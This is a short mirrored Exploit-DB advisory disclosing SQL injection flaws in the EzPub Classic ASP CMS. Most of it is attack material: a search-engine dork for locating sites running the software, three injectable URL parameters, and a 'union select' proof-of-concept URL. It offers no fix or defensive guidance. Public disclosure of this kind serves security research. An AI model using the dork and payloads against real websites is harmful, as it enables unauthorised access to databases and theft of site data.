EzPub Simple Classic ASP CMS – SQL Injection

• Exploit Database
• 99 阅读

• 作者： p0pc0rn
  日期： 2011-03-08
• 类别：

  • webapps
  平台：

  • asp
• 来源：https://www.exploit-db.com/exploits/16941/
• 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21

  Title:EzPub - Simple Classic ASP CMS Vulnerable to SQL Injection Vendor: http://www.soft4web.ro Found by: p0pc0rn 08/03/2011 Dork: intext:"Powered by EZPub"     SQL - Microsoft JET Database Engine error ------------------------------------------   view_article.asp?item=[SQL] http://site.com/page.asp?pID=[SQL] http://site.com/display.asp?sortby=sections&sID=[SQL]   POC ---   http://site.com/view_article.asp?item=1 union select 1 from test.a   thanks, -p0pc0rn-